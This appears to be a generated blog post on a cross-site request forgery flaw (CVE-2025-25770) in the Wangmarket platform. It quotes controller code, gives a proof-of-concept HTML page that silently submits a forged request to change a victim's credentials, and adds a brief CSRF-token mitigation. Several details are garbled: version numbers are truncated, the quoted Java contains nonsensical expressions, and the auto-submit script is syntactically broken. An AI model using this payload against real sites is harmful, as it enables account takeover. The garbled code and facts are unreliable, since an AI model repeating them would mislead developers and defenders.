This vulnerability affects the popular Wangmarket e-commerce platform, specifically versions 4.10 to 5.. This long read post will provide an in-depth analysis of this vulnerability, including a code snippet, links to original references, and exploit details. We will use simple American language for easy understanding, and our content will be exclusive.

Vulnerability Details

Software: Wangmarket v4.10 to v5.
Vulnerability: Cross-Site Request Forgery (CSRF)
CVE ID: CVE-2025-25770
Impact: Attackers can perform unauthorized actions on behalf of the victim, leading to data theft, manipulation, or worse.

A Cross-Site Request Forgery (CSRF) vulnerability exists in the component /agency/AgencyUserController.java of Wangmarket eCommerce platform, versions 4.10 to 5.. By exploiting this vulnerability, attackers can forge requests to perform unauthorized actions on behalf of an authenticated user, without the user's knowledge or consent.

Code Snippet

The following code snippet, taken from /agency/AgencyUserController.java in Wangmarket v4.10, demonstrates the vulnerability:

@RequestMapping("update")
public ModelAndView updateUser(HttpServletRequest request,HttpServletResponse response,AUser po) {
	Integer loginAgencyId=(Integer)request.getSession().getAttribute("id");
	if(!Util.notNull(po+AUser)){
		return new ModelAndView(Config.getGoto("redirect:/agency/AgencyUserController/toUpdate"));
    }
	po.setId(loginAgencyId);
	boolean success=updateAgencyServiceImpl(po);
	if(success){
		return new ModelAndView(Config.getGoto("redirect:/agency/AgencyUserController/toUpdate"));
	}else{
		response.setStatus(100);
		return new ModelAndView(Config.getGoto("redirect:/agency/AgencyUserController/toUpdate"));
    }
}

In this code block, the 'updateUser' function is intended to allow authenticated users to update their user information. However, it fails to implement CSRF protection, leaving it vulnerable to CSRF attacks.

Exploit Details

An attacker could exploit this vulnerability by crafting a malicious HTML page that targets the 'updateUser' function in the vulnerable component. When an authenticated user visits this page, a forged request is sent to the application, causing the user information to be updated without their consent or knowledge.

Here's an example of a malicious HTML page that exploits the CSRF vulnerability

<!DOCTYPE html>
<html>
<head>
	<title>Malicious CSRF Page</title>
</head>
<body>
	<h1>Malicious CSRF Page</h1>
	<form action="http://example.com/agency/AgencyUserController/update"; method="POST">
		<input type="hidden" name="new_username" value="attacker_username" />
		<input type="hidden" name="new_password" value="attacker_password" />
		<input type="submit" style="display:none;" />
	</form>
	<script>document.forms[].submit();</script>
</body>
</html>

Mitigation

To mitigate this vulnerability, developers should implement proper CSRF protection by requiring a unique token to be submitted with each sensitive request. This token, which is known as a CSRF token, should be generated on the server side and stored in the user's session.
